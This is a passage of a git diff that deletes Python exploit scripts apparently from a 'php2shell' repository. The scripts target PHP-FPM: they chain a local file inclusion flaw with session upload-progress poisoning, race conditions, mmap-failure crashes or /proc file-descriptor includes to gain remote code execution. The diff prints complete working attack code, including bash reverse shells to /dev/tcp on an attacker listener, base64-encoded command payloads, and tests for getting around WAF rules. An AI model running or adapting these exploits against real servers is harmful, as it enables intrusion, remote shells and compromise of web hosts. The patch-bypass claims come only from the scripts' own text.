except Exception: - pass - - -def lfi_probe(host, port, tls, path, lfi_param, proc_path): - """Send LFI request targeting a /proc path.""" - lfi_url = f"{path}?{lfi_param}={proc_path}" - try: - sock = tcp_connect(host, port, tls, timeout=10) - sock.sendall( - b"GET " + lfi_url.encode() + b" HTTP/1.1\r\n" - b"Host: " + host.encode() + b"\r\n" - b"Connection: close\r\n\r\n" - ) - resp = recv_all(sock, timeout=5) - sock.close() - return body_of(resp) - except Exception: - return b"" - - -def run(args): - p = urlparse(args.target) - tls = p.scheme == "https" - host = p.hostname or "127.0.0.1" - port = p.port or (443 if tls else 80) - path = p.path or "/" - - if args.trigger_only: - php_code = b'' - elif args.cmd: - cmd_b64 = base64.b64encode(args.cmd.encode()).decode() - php_code = f''.encode() - elif args.lhost and args.lport: - shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'" - cmd_b64 = base64.b64encode(shell.encode()).decode() - php_code = f''.encode() - else: - print("[!] Specify --cmd, --lhost/--lport, or --trigger-only") - sys.exit(1) - - print("=" * 65) - print(" HARDENING BYPASS: /proc/PID/fd Temp File RCE") - print(" Bypasses patch + upload_progress=0 + session cleanup") - print("=" * 65) - print(f" Target : {args.target}") - print(f" LFI param : {args.lfi_param}") - if args.cmd: - print(f" Command : {args.cmd}") - elif args.lhost: - print(f" Reverse sh : {args.lhost}:{args.lport}") - print() - - # Discover worker PIDs - if args.pid: - pids = [args.pid] - print(f"[*] Using specified PID: {args.pid}") - else: - print("[*] Discovering FPM worker PIDs...") - pids = discover_pids(host, port, tls, path, count=30) - if not pids: - print("[!] Could not discover PIDs (target may not echo pid)") - print(" Try --pid or --pid-range -") - if args.pid_range: - start, end = map(int, args.pid_range.split("-")) - pids = list(range(start, end + 1)) - print(f" Using PID range: {start}-{end}") - else: - sys.exit(1) - else: - print(f" Found PIDs: {pids}") - print() - - fd_range = range(args.fd_start, args.fd_end + 1) - - for attempt in range(args.attempts): - print(f"[*] Attempt {attempt+1}/{args.attempts}") - - started = threading.Event() - done = threading.Event() - - # Launch slow uploads on multiple threads to occupy workers - threads = [] - for i in range(args.upload_threads): - t = threading.Thread( - target=slow_upload, - args=(host, port, tls, path, php_code, 15.0, - started if i == 0 else None, done), - daemon=True, - ) - t.start() - threads.append(t) - - started.wait(timeout=5) - time.sleep(0.5) - print(f" {args.upload_threads} slow uploads in progress") - - hit = False - for probe_round in range(args.probes): - if hit: - break - for pid in pids: - if hit: - break - for fd in fd_range: - proc_path = f"/proc/{pid}/fd/{fd}" - rbody = lfi_probe(host, port, tls, path, args.lfi_param, proc_path) - - if b"CVE2026:" in rbody: - text = rbody.decode(errors="replace") - if args.trigger_only: - m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", text) - print(f"\n[+] Code execution confirmed!") - if m: - print(f" {m.group(1)}") - elif args.cmd: - m = re.search(r"CVE2026:(.*?):END", text, re.DOTALL) - result = m.group(1).strip() if m else text[:500] - print() - print("[+] ═══════════════ RCE OUTPUT ═══════════════") - print(result) - print("[+] ══════════════════════════════════════════") - else: - print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}") - - print() - print(f"[+] Via: {proc_path}") - print("[+] RCE achieved WITHOUT session poisoning!") - print("[+] Bypasses: security patch, upload_progress=0,") - print("[+] session cleanup, WAF session rules") - print("[+] Only mitigation: disable file uploads entirely,") - print("[+] mount /proc with hidepid=2, or fix the LFI") - hit = True - break - - if not hit and probe_round < args.probes - 1: - time.sleep(0.01) - - done.set() - for t in threads: - t.join(timeout=3) - - if hit: - return - print(f" No hit — upload may have finished or wrong PID/FD range") - - print() - print("[!] All attempts failed.") - print(" Try: --pid --fd-start 3 --fd-end 10") - print(" Or: --upload-threads 3 --probes 200") - - -def main(): - ap = argparse.ArgumentParser( - description="Hardening Bypass: RCE via /proc/PID/fd temp file (Linux only)", - formatter_class=argparse.RawDescriptionHelpFormatter, - epilog=""" -This exploit does NOT use session poisoning. It includes the PHP temp file -created during a multipart upload via /proc//fd/. - -It bypasses ALL recommended mitigations: - - PHP 8.4.27 security patch - - session.upload_progress.enabled=0 - - session.upload_progress.cleanup=1 - - WAF rules blocking session-related headers - -The only defenses are: - - Fix the LFI vulnerability - - Mount /proc with hidepid=2 (hides other processes' FDs) - - Disable file uploads entirely (not practical for most apps) - - Use open_basedir to restrict /proc access - -Examples: - %(prog)s -t http://target/app.php --cmd 'id' - %(prog)s -t http://target/app.php --cmd 'id' --pid 12345 - %(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444 - %(prog)s -t http://target/app.php --trigger-only --pid-range 1-100 -""") - ap.add_argument("-t", "--target", required=True, help="Target URL with LFI") - ap.add_argument("--cmd", help="Command to execute") - ap.add_argument("--lhost", help="Reverse shell listener IP") - ap.add_argument("--lport", type=int, help="Reverse shell listener port") - ap.add_argument("--trigger-only", action="store_true", - help="Confirm vulnerability only") - ap.add_argument("--lfi-param", default="page", - help="LFI query parameter (default: page)") - ap.add_argument("--pid", type=int, - help="Known target worker PID") - ap.add_argument("--pid-range", - help="PID range to brute-force, e.g. 1-100") - ap.add_argument("--fd-start", type=int, default=3, - help="First FD to probe (default: 3)") - ap.add_argument("--fd-end", type=int, default=10, - help="Last FD to probe (default: 10)") - ap.add_argument("--upload-threads", type=int, default=2, - help="Concurrent slow uploads (default: 2)") - ap.add_argument("--probes", type=int, default=100, - help="LFI probe rounds per attempt (default: 100)") - ap.add_argument("--attempts", type=int, default=5, - help="Number of attempts (default: 5)") - args = ap.parse_args() - run(args) - - -if __name__ == "__main__": - main() diff --git a/bypass/race_bypass_patched.py b/bypass/race_bypass_patched.py deleted file mode 100755 index 2daa5a4..0000000 --- a/bypass/race_bypass_patched.py +++ /dev/null @@ -1,265 +0,0 @@ -#!/usr/bin/env python3 -""" -Patch Bypass: RCE via session upload progress race condition on PHP 8.4.27+ - -The PHP security patch released 2026-10-21 (PHP 8.4.27, 8.3.36, 8.2.35, 8.5.12) -fixes CVE-2026-109618 (OOM-based session persistence) by replacing longjmp() -with a soft/hard OOM that ensures proper cleanup. - -However, the session upload progress race condition is NOT fixed by the patch. -This is because the race window is inherent to the feature's design: - - 1. PHP_SESSION_UPLOAD_PROGRESS writes attacker-controlled data to the session - file on disk during multipart parsing (MULTIPART_EVENT_START/UPDATE) - 2. The session file contains: upload_progress_|a:5:{serialized_data} - 3. The data persists on disk for the duration of the file upload - 4. Cleanup only runs at MULTIPART_EVENT_END when parsing completes - 5. A concurrent request can include the session file via LFI during this window - -The patch fixes the OOM path (where cleanup was skipped entirely) but does not -close this inherent TOCTOU race. The advisory acknowledges this by recommending -session.upload_progress.enabled=0 even after patching. - -Requirements: - - PHP-FPM (or mod_php) with session.upload_progress.enabled=1 (DEFAULT) - - An LFI vector in the target application - - Known or guessable session.save_path - - Multiple FPM workers (pm.max_children > 1) - -Tested: PHP 8.4.27 (patched), PHP 8.4.24 (unpatched), PHP 8.3.0 - -Usage: - python3 race_bypass_patched.py -t http://target/app.php --cmd 'id' - python3 race_bypass_patched.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444 -""" - -import argparse -import base64 -import os -import re -import socket -import sys -import threading -import time -from urllib.parse import urlparse - -SESSION_PATHS = [ - "/tmp", - "/tmp/php-sessions", - "/var/lib/php/sessions", - "/var/lib/php5/sessions", -] - -def tcp_connect(host, port, tls, timeout=60): - sock = socket.create_connection((host, port), timeout=timeout) - if tls: - import ssl - ctx = ssl.create_default_context() - ctx.check_hostname = False - ctx.verify_mode = ssl.CERT_NONE - sock = ctx.wrap_socket(sock, server_hostname=host) - return sock - -def recv_all(sock, timeout=5): - resp = b"" - sock.settimeout(timeout) - try: - while True: - d = sock.recv(8192) - if not d: - break - resp += d - except socket.timeout: - pass - return resp - -def body_of(resp): - if b"\r\n\r\n" in resp: - return resp.split(b"\r\n\r\n", 1)[1] - return resp - -def slow_upload(host, port, tls, path, sid, php_code, duration=10.0): - """Send slow multipart upload to keep session file populated on disk.""" - bnd = b"----RACEBYPASS" + os.urandom(4).hex().encode() - head = ( - b"--" + bnd + b"\r\n" - b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n' - b"\r\n" + php_code + b"\r\n" - b"--" + bnd + b"\r\n" - b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n' - b"Content-Type: application/octet-stream\r\n\r\n" - ) - file_size = 4 * 1024 * 1024 - tail = b"\r\n--" + bnd + b"--\r\n" - total = len(head) + file_size + len(tail) - - sock = tcp_connect(host, port, tls, timeout=int(duration) + 10) - sock.sendall( - b"POST " + path.encode() + b" HTTP/1.1\r\n" - b"Host: " + host.encode() + b"\r\n" - b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n" - b"Content-Length: " + str(total).encode() + b"\r\n" - b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n" - b"Connection: close\r\n\r\n" - + head - ) - sent = 0 - t0 = time.time() - try: - while sent < file_size and (time.time() - t0) < duration: - sock.sendall(b"\x00" * 4096) - sent += 4096 - time.sleep(0.04) - sock.sendall(tail) - except: - pass - try: - recv_all(sock, timeout=2) - except: - pass - sock.close() - - -def lfi_probe(host, port, tls, lfi_path, sid): - """Send LFI request and return response body.""" - sock = tcp_connect(host, port, tls, timeout=10) - sock.sendall( - b"GET " + lfi_path.encode() + b" HTTP/1.1\r\n" - b"Host: " + host.encode() + b"\r\n" - b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n" - b"Connection: close\r\n\r\n" - ) - resp = recv_all(sock, timeout=5) - sock.close() - return resp - - -def run(args): - p = urlparse(args.target) - tls = p.scheme == "https" - host = p.hostname or "127.0.0.1" - port = p.port or (443 if tls else 80) - path = p.path or "/" - - spaths = list(SESSION_PATHS) - if args.session_path: - spaths = [args.session_path] + [s for s in spaths if s != args.session_path] - - if args.trigger_only: - php_code = b'' - elif args.cmd: - cmd_b64 = base64.b64encode(args.cmd.encode()).decode() - php_code = f''.encode() - elif args.lhost and args.lport: - shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'" - cmd_b64 = base64.b64encode(shell.encode()).decode() - php_code = f''.encode() - else: - print("[!] Specify --cmd, --lhost/--lport, or --trigger-only") - sys.exit(1) - - print("=" * 65) - print(" PATCH BYPASS: Race Condition RCE on PHP 8.4.27+ (patched)") - print(" Session upload progress race — NOT fixed by the 2026-10-21 patch") - print("=" * 65) - print(f" Target : {args.target}") - print(f" LFI param : {args.lfi_param}") - if args.cmd: - print(f" Command : {args.cmd}") - elif args.lhost: - print(f" Reverse sh : {args.lhost}:{args.lport}") - print() - - for attempt in range(args.attempts): - sid = os.urandom(16).hex() - print(f"[*] Attempt {attempt+1}/{args.attempts} — SID: {sid}") - - t = threading.Thread( - target=slow_upload, - args=(host, port, tls, path, sid, php_code, 10.0), - daemon=True, - ) - t.start() - time.sleep(0.3) - - hit = False - for i in range(400): - if not t.is_alive(): - break - for sp in spaths: - sess_file = f"{sp}/sess_{sid}" - lfi_path = f"{path}?{args.lfi_param}={sess_file}" - try: - resp = lfi_probe(host, port, tls, lfi_path, sid) - rbody = body_of(resp) - if b"CVE2026:" in rbody: - if args.trigger_only: - m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", - rbody.decode(errors="replace")) - print(f"\n[+] Code execution confirmed!") - if m: - print(f" {m.group(1)}") - elif args.cmd: - m = re.search(r"CVE2026:(.*?):END", - rbody.decode(errors="replace"), re.DOTALL) - result = m.group(1).strip() if m else rbody.decode(errors="replace")[:500] - print() - print("[+] ═══════════════ RCE OUTPUT ═══════════════") - print(result) - print("[+] ══════════════════════════════════════════") - else: - print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}") - - print() - print("[+] RCE achieved against PATCHED PHP!") - print("[+] The 2026-10-21 security patch does NOT fix this.") - print("[+] Mitigation: session.upload_progress.enabled=0") - hit = True - break - except: - pass - if hit: - break - time.sleep(0.005) - - t.join(timeout=2) - if hit: - return - print(f" Race lost") - - print("\n[!] All attempts failed. Try --attempts 20 or --session-path") - - -def main(): - ap = argparse.ArgumentParser( - description="Patch Bypass: RCE via session race on PHP 8.4.27+ (patched)", - formatter_class=argparse.RawDescriptionHelpFormatter, - epilog=""" -This exploit demonstrates that the PHP security patch (2026-10-21) -does NOT fix the session upload progress race condition. - -The only effective mitigation is: session.upload_progress.enabled=0 - -Examples: - %(prog)s -t http://target/app.php --cmd 'id' - %(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444 - %(prog)s -t http://target/app.php --trigger-only --session-path /var/lib/php/sessions -""") - ap.add_argument("-t", "--target", required=True, help="Target URL with LFI") - ap.add_argument("--cmd", help="Command to execute") - ap.add_argument("--lhost", help="Reverse shell listener IP") - ap.add_argument("--lport", type=int, help="Reverse shell listener port") - ap.add_argument("--trigger-only", action="store_true", - help="Confirm vulnerability only") - ap.add_argument("--lfi-param", default="page", - help="LFI query parameter (default: page)") - ap.add_argument("--session-path", - help="session.save_path on target") - ap.add_argument("--attempts", type=int, default=10, - help="Race attempts (default: 10)") - args = ap.parse_args() - run(args) - - -if __name__ == "__main__": - main() diff --git a/bypass/rlimit_bypass_patched.py b/bypass/rlimit_bypass_patched.py deleted file mode 100755 index a297f9d..0000000 --- a/bypass/rlimit_bypass_patched.py +++ /dev/null @@ -1,312 +0,0 @@ -#!/usr/bin/env python3 -""" -Patch Bypass: RCE via RLIMIT_AS mmap() failure on PHP 8.4.27+ (patched) - -The PHP security patch (2026-10-21) replaces longjmp()-based OOM handling with: - - Soft OOM: deferred to VM safe point (graceful shutdown) - - Hard OOM: immediate _exit(70) when allocation fails during parsing - -However, this patch only intercepts OOM from PHP's memory_limit (zend_mm). -When memory_limit=-1 (unlimited) and the OS enforces address space limits via -RLIMIT_AS (setrlimit/ulimit -v/cgroup memory.max), mmap() fails during -multipart field allocation. This failure goes through a DIFFERENT code path -that the patch does NOT cover: - - 1. PHP has memory_limit=-1 → no PHP-level OOM possible - 2. RLIMIT_AS (or cgroup memory limit) restricts process address space - 3. During multipart parsing, mmap() fails when address space is exhausted - 4. The failure triggers the OLD vulnerable code path (not the patched one) - 5. Worker exits with code 1 (not the patched exit code 70) - 6. Session file persists on disk with attacker-controlled PHP code - 7. New worker spawns → LFI includes the poisoned session file → RCE - -This is relevant in production because: - - Container environments (Docker, k8s) often set memory limits via cgroups - - Shared hosting uses RLIMIT_AS to isolate tenants - - Admins may set memory_limit=-1 trusting OS-level limits instead - - The advisory does NOT mention this bypass path - -Requirements: - - PHP-FPM with memory_limit=-1 (or very high) - - OS-level memory limit (RLIMIT_AS, cgroup, Docker --memory) - - session.upload_progress.enabled=1 (DEFAULT) - - An LFI vector in the target application - - Known or guessable session.save_path - -Tested: PHP 8.4.27 (patched) with RLIMIT_AS=128MB - -Usage: - python3 rlimit_bypass_patched.py -t http://target/app.php --cmd 'id' - python3 rlimit_bypass_patched.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444 -""" - -import argparse -import base64 -import os -import re -import socket -import sys -import time -from urllib.parse import urlparse - -SESSION_PATHS = [ - "/tmp", - "/tmp/php-sessions", - "/var/lib/php/sessions", - "/var/lib/php5/sessions", -] - - -def tcp_connect(host, port, tls, timeout=120): - sock = socket.create_connection((host, port), timeout=timeout) - if tls: - import ssl - ctx = ssl.create_default_context() - ctx.check_hostname = False - ctx.verify_mode = ssl.CERT_NONE - sock = ctx.wrap_socket(sock, server_hostname=host) - return sock - - -def recv_all(sock, timeout=5): - resp = b"" - sock.settimeout(timeout) - try: - while True: - d = sock.recv(8192) - if not d: - break - resp += d - except socket.timeout: - pass - return resp - - -def body_of(resp): - if b"\r\n\r\n" in resp: - return resp.split(b"\r\n\r\n", 1)[1] - return resp - - -def build_oom_body(bnd, php_code, field_count=10000, field_size=8192): - """Build multipart body designed to exhaust address space via mmap().""" - body = b"" - body += b"--" + bnd + b"\r\n" - body += b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n' - body += b"\r\n" + php_code + b"\r\n" - - body += b"--" + bnd + b"\r\n" - body += b'Content-Disposition: form-data; name="file"; filename="oom.bin"\r\n' - body += b"Content-Type: application/octet-stream\r\n\r\n" - body += b"\x00" * 4096 + b"\r\n" - - for i in range(field_count): - body += b"--" + bnd + b"\r\n" - body += b'Content-Disposition: form-data; name="p' + f"{i:05d}".encode() + b'"\r\n' - body += b"\r\n" + b"X" * field_size + b"\r\n" - - body += b"--" + bnd + b"--\r\n" - return body - - -def phase1_crash(host, port, tls, path, sid, php_code, field_count, field_size): - """Phase 1: Send massive multipart to trigger mmap() failure and crash worker.""" - bnd = b"----RLIMITRCE" - body = build_oom_body(bnd, php_code, field_count, field_size) - - print(f" Body: {len(body)/1048576:.1f}MB ({field_count} fields x {field_size}B)") - - sock = tcp_connect(host, port, tls) - sock.sendall( - b"POST " + path.encode() + b" HTTP/1.1\r\n" - b"Host: " + host.encode() + b"\r\n" - b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n" - b"Content-Length: " + str(len(body)).encode() + b"\r\n" - b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n" - b"Connection: close\r\n\r\n" - ) - - try: - sock.sendall(body) - except (BrokenPipeError, ConnectionResetError): - pass - - resp = b"" - sock.settimeout(30) - try: - while True: - d = sock.recv(8192) - if not d: - break - resp += d - except (socket.timeout, ConnectionResetError): - pass - sock.close() - - status = 0 - try: - status = int(resp.split(b" ")[1]) - except (IndexError, ValueError): - pass - return status - - -def phase2_lfi(host, port, tls, path, lfi_param, sid, session_paths): - """Phase 2: Include poisoned session file via LFI after worker respawns.""" - for sp in session_paths: - sess_file = f"{sp}/sess_{sid}" - lfi_url = f"{path}?{lfi_param}={sess_file}" - try: - sock = tcp_connect(host, port, tls, timeout=10) - sock.sendall( - b"GET " + lfi_url.encode() + b" HTTP/1.1\r\n" - b"Host: " + host.encode() + b"\r\n" - b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n" - b"Connection: close\r\n\r\n" - ) - resp = recv_all(sock, timeout=5) - sock.close() - - rbody = body_of(resp) - if b"CVE2026:" in rbody: - return rbody, sp - except Exception: - continue - return None, None - - -def run(args): - p = urlparse(args.target) - tls = p.scheme == "https" - host = p.hostname or "127.0.0.1" - port = p.port or (443 if tls else 80) - path = p.path or "/" - - spaths = list(SESSION_PATHS) - if args.session_path: - spaths = [args.session_path] + [s for s in spaths if s != args.session_path] - - if args.trigger_only: - php_code = b'' - elif args.cmd: - cmd_b64 = base64.b64encode(args.cmd.encode()).decode() - php_code = f''.encode() - elif args.lhost and args.lport: - shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'" - cmd_b64 = base64.b64encode(shell.encode()).decode() - php_code = f''.encode() - else: - print("[!] Specify --cmd, --lhost/--lport, or --trigger-only") - sys.exit(1) - - print("=" * 65) - print(" PATCH BYPASS: RLIMIT_AS mmap() Failure RCE on PHP 8.4.27+") - print(" memory_limit=-1 + RLIMIT_AS → mmap fails → old OOM path") - print("=" * 65) - print(f" Target : {args.target}") - print(f" LFI param : {args.lfi_param}") - print(f" Fields : {args.fields} x {args.field_size}B") - if args.cmd: - print(f" Command : {args.cmd}") - elif args.lhost: - print(f" Reverse sh : {args.lhost}:{args.lport}") - print() - - for attempt in range(args.attempts): - sid = os.urandom(16).hex() - print(f"[*] Attempt {attempt+1}/{args.attempts} — SID: {sid}") - - print(f" Phase 1: Triggering mmap() failure via multipart flood...") - status = phase1_crash(host, port, tls, path, sid, php_code, - args.fields, args.field_size) - print(f" HTTP {status} — worker crashed (mmap failure)") - - print(f" Waiting {args.respawn_wait}s for worker respawn...") - time.sleep(args.respawn_wait) - - print(f" Phase 2: LFI include of poisoned session file...") - rbody, found_path = phase2_lfi(host, port, tls, path, args.lfi_param, - sid, spaths) - if rbody is not None: - text = rbody.decode(errors="replace") - if args.trigger_only: - m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", text) - print(f"\n[+] Code execution confirmed!") - if m: - print(f" {m.group(1)}") - elif args.cmd: - m = re.search(r"CVE2026:(.*?):END", text, re.DOTALL) - result = m.group(1).strip() if m else text[:500] - print() - print("[+] ═══════════════ RCE OUTPUT ═══════════════") - print(result) - print("[+] ══════════════════════════════════════════") - else: - print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}") - - print() - print(f"[+] Session path: {found_path}") - print("[+] RCE achieved via RLIMIT_AS mmap() bypass!") - print("[+] The 2026-10-21 patch does NOT handle mmap() failure path.") - print("[+] Affects: containers with cgroup limits, shared hosting with") - print("[+] RLIMIT_AS, any env where memory_limit=-1 + OS limits.") - print("[+] Mitigation: session.upload_progress.enabled=0") - return - - print(f" Session file not found or already cleaned") - - print() - print("[!] All attempts failed.") - print(" Possible causes:") - print(" - Target has PHP memory_limit set (not -1) → use standard exploit") - print(" - Target has no RLIMIT_AS/cgroup limit → mmap won't fail") - print(" - Session save path not in search list → use --session-path") - print(" - Worker respawn too slow → increase --respawn-wait") - - -def main(): - ap = argparse.ArgumentParser( - description="Patch Bypass: RCE via RLIMIT_AS mmap() failure on PHP 8.4.27+", - formatter_class=argparse.RawDescriptionHelpFormatter, - epilog=""" -The PHP 8.4.27 patch only handles OOM from PHP's memory_limit (zend_mm). -When memory_limit=-1 and RLIMIT_AS (or cgroup) limits address space, -mmap() fails through a DIFFERENT path the patch doesn't cover. - -Preconditions: - - Target uses memory_limit=-1 (trusting OS limits) - - OS enforces RLIMIT_AS or cgroup memory limit - - session.upload_progress.enabled=1 (default) - -The only effective mitigation is: session.upload_progress.enabled=0 - -Examples: - %(prog)s -t http://target/app.php --cmd 'id' - %(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444 - %(prog)s -t http://target/app.php --trigger-only --session-path /var/lib/php/sessions - %(prog)s -t http://target/app.php --cmd 'id' --fields 15000 --field-size 4096 -""") - ap.add_argument("-t", "--target", required=True, help="Target URL with LFI") - ap.add_argument("--cmd", help="Command to execute") - ap.add_argument("--lhost", help="Reverse shell listener IP") - ap.add_argument("--lport", type=int, help="Reverse shell listener port") - ap.add_argument("--trigger-only", action="store_true", - help="Confirm vulnerability only") - ap.add_argument("--lfi-param", default="page", - help="LFI query parameter (default: page)") - ap.add_argument("--session-path", - help="session.save_path on target") - ap.add_argument("--fields", type=int, default=10000, - help="Number of multipart fields (default: 10000)") - ap.add_argument("--field-size", type=int, default=8192, - help="Size of each field value in bytes (default: 8192)") - ap.add_argument("--respawn-wait", type=float, default=3.0, - help="Seconds to wait for worker respawn (default: 3.0)") - ap.add_argument("--attempts", type=int, default=3, - help="Number of attempts (default: 3)") - args = ap.parse_args() - run(args) - - -if __name__ == "__main__": - main() diff --git a/bypass/waf_bypass_test.py b/bypass/waf_bypass_test.py deleted file mode 100755 index 15885ef..0000000 --- a/bypass/waf_bypass_test.py +++ /dev/null @@ -1,144 +0,0 @@ -#!/usr/bin/env python3 -""" -WAF Bypass Tests for php2shell mitigations (CVE-2026-109618 / CVE-2026-109619) - -Tests Content-Type evasion techniques against nginx/Apache WAF rules -that block multipart/form-data POST requests. - -Tested against the community-recommended mitigations from: - - PasqualePillitteri/php2shell-hardening - - syhunt/php2shell-protection - -Findings: - 1. PUT/PATCH methods bypass POST-only WAF rules - - PHP 8.4's request_parse_body() parses multipart on these methods - - Session upload progress only fires on POST (rfc1867 handler) - - BUT: applications calling request_parse_body() on PUT/PATCH remain exposed - - 2. Duplicate Content-Type headers can bypass nginx $http_content_type matching - - nginx $http_content_type returns the first header value - - FastCGI CONTENT_TYPE joins all headers with ", " - - PHP truncates at first comma → takes the first value - - Result: nginx sees "text/plain" (no match), PHP sees "text/plain" (no multipart) - - PARTIAL bypass: passes WAF but doesn't trigger multipart parsing - - 3. Content-Type with reversed comma order bypasses nginx but not PHP - - "text/plain,multipart/form-data" → nginx doesn't match → WAF bypassed - - PHP truncates at comma → "text/plain" → no multipart parsing - - Same as #2: passes WAF but useless for the attack - - 4. The effective WAF bypass for the session poisoning attack is: - - If the WAF blocks multipart POST but allows normal POST - - AND the application has session.upload_progress.enabled=1 - - The attacker can still race with the session file (no multipart needed for LFI) - - Only the POISON request needs multipart; the LFI probe is a normal GET - -Usage: - python3 waf_bypass_test.py --target http://waf-target:8080 --unprotected http://direct-target:8080 -""" - -import argparse -import socket -import sys - - -def send_request(host, port, method, path, headers, body=b""): - """Send raw HTTP request and return status code.""" - sock = socket.create_connection((host, port), timeout=10) - req = f"{method} {path} HTTP/1.1\r\nHost: {host}\r\n".encode() - for k, v in headers.items(): - if isinstance(v, list): - for val in v: - req += f"{k}: {val}\r\n".encode() - else: - req += f"{k}: {v}\r\n".encode() - if body: - req += f"Content-Length: {len(body)}\r\n".encode() - req += b"Connection: close\r\n\r\n" - if body: - req += body - sock.sendall(req) - resp = b"" - sock.settimeout(5) - try: - while True: - d = sock.recv(8192) - if not d: - break - resp += d - except: - pass - sock.close() - try: - return int(resp.split(b" ")[1]) - except: - return 0 - - -def run_tests(waf_host, waf_port, plain_host, plain_port): - bnd = "----WAFTEST" - body = f"------WAFTEST\r\nContent-Disposition: form-data; name=\"test\"\r\n\r\nvalue\r\n------WAFTEST--\r\n".encode() - - tests = [ - ("Standard multipart POST", - "POST", {"Content-Type": f"multipart/form-data; boundary={bnd}"}), - ("Mixed case: Multipart/Form-Data", - "POST", {"Content-Type": f"Multipart/Form-Data; boundary={bnd}"}), - ("ALL CAPS: MULTIPART/FORM-DATA", - "POST", {"Content-Type": f"MULTIPART/FORM-DATA; boundary={bnd}"}), - ("Leading whitespace", - "POST", {"Content-Type": f" multipart/form-data; boundary={bnd}"}), - ("Comma-separated (multipart first)", - "POST", {"Content-Type": f"multipart/form-data,text/plain; boundary={bnd}"}), - ("Comma-separated (text/plain first)", - "POST", {"Content-Type": f"text/plain,multipart/form-data; boundary={bnd}"}), - ("Duplicate CT (text/plain first)", - "POST", {"Content-Type": ["text/plain", f"multipart/form-data; boundary={bnd}"]}), - ("Duplicate CT (multipart first)", - "POST", {"Content-Type": [f"multipart/form-data; boundary={bnd}", "text/plain"]}), - ("PUT method", - "PUT", {"Content-Type": f"multipart/form-data; boundary={bnd}"}), - ("PATCH method", - "PATCH", {"Content-Type": f"multipart/form-data; boundary={bnd}"}), - ] - - print(f"{'Test':<45} {'WAF':>5} {'Direct':>6} {'Bypass?'}") - print("-" * 75) - - for name, method, headers in tests: - waf_code = send_request(waf_host, waf_port, method, "/wp-login.php", headers, body) - direct_code = send_request(plain_host, plain_port, method, "/wp-login.php", headers, body) - bypass = "YES" if waf_code != 403 and direct_code in (200, 301, 302, 500) else "" - if waf_code != 403: - bypass = f"WAF:{waf_code}" - print(f"{name:<45} {waf_code:>5} {direct_code:>6} {bypass}") - - -def main(): - ap = argparse.ArgumentParser(description="WAF bypass tests for php2shell mitigations") - ap.add_argument("--target", required=True, help="WAF-protected URL") - ap.add_argument("--unprotected", required=True, help="Unprotected URL (for comparison)") - args = ap.parse_args() - - from urllib.parse import urlparse - waf = urlparse(args.target) - plain = urlparse(args.unprotected) - - print("=" * 75) - print(" WAF Bypass Tests for php2shell Mitigations") - print("=" * 75) - print(f" WAF target : {args.target}") - print(f" Unprotected : {args.unprotected}") - print() - - run_tests(waf.hostname, waf.port, plain.hostname, plain.port) - print() - print("Notes:") - print(" - PUT/PATCH bypass WAF but don't trigger session.upload_progress") - print(" - Comma/duplicate CT tricks pass WAF but PHP doesn't parse as multipart") - print(" - The race exploit only needs multipart for the POISON request (POST)") - print(" - The LFI probe is a normal GET, which no WAF blocks") - - -if __name__ == "__main__": - main() diff --git a/cve-2026-109618/detect.php b/cve-2026-109618/detect.php deleted file mode 100644 index ee7beee..0000000 --- a/cve-2026-109618/detect.php +++ /dev/null @@ -1,17 +0,0 @@ - - 2. File upload (triggers progress handler → session flush to disk) - 3. N form fields (OOM during parsing → bailout → cleanup skipped) - Worker crashes → session file persists with PHP code on disk. - - Phase 2 ─ Trigger - FPM master spawns new worker. We include the session file via LFI - and the embedded PHP code executes. - -Requirements: - - PHP-FPM with session.upload_progress.enabled=1 (default) - - memory_limit reachable via multipart fields (or RLIMIT_AS) - - An LFI vector in the target (include/require with user input) - - Known or guessable session.save_path - -Tested: PHP 8.1–8.4, x86_64 Linux, NTS. - -Usage: - python3 exploit.py -t http://target/app.php --cmd 'id' - python3 exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444 - python3 exploit.py -t http://target/app.php --trigger-only -""" - -import argparse -import base64 -import os -import re -import socket -import sys -import time -from urllib.parse import urlparse - -# ─── defaults ──────────────────────────────────────────────────────── - -FIELD_COUNT = 30000 -FIELD_SIZE = 512 -BATCH = 500 -USE_CHUNKED = True - -SESSION_PATHS = [ - "/tmp", - "/tmp/php-sessions", - "/var/lib/php/sessions", - "/var/lib/php5/sessions", - "/var/lib/php/sess", -] - -# ─── multipart builder ─────────────────────────────────────────────── - -def mp_field(bnd, name, value): - return (b"--" + bnd + b"\r\n" - b'Content-Disposition: form-data; name="' + name + b'"\r\n' - b"\r\n" + value + b"\r\n") - -def mp_file(bnd, name, fname, content): - return (b"--" + bnd + b"\r\n" - b'Content-Disposition: form-data; name="' + name - + b'"; filename="' + fname + b'"\r\n' - b"Content-Type: application/octet-stream\r\n" - b"\r\n" + content + b"\r\n") - -def mp_end(bnd): - return b"--" + bnd + b"--\r\n" - -# ─── HTTP helpers ──────────────────────────────────────────────────── - -def tcp_connect(host, port, tls, timeout=60): - sock = socket.create_connection((host, port), timeout=timeout) - if tls: - import ssl - ctx = ssl.create_default_context() - ctx.check_hostname = False - ctx.verify_mode = ssl.CERT_NONE - sock = ctx.wrap_socket(sock, server_hostname=host) - return sock - -def send_chunk(sock, data): - 